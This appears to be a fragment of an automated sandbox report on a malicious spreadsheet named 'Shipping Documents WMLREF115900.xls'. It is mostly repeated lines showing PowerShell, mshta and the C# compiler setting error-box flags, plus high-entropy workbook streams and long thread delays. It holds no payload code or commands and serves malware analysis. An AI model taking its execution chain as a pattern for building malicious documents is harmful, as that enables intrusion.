Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX

Source: Shipping Documents WMLREF115900.xls	Stream path 'Workbook' entropy: 7.97401795979 (max. 8.0)
Source: A4230000.0.dr	Stream path 'Workbook' entropy: 7.97449753124 (max. 8.0)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000

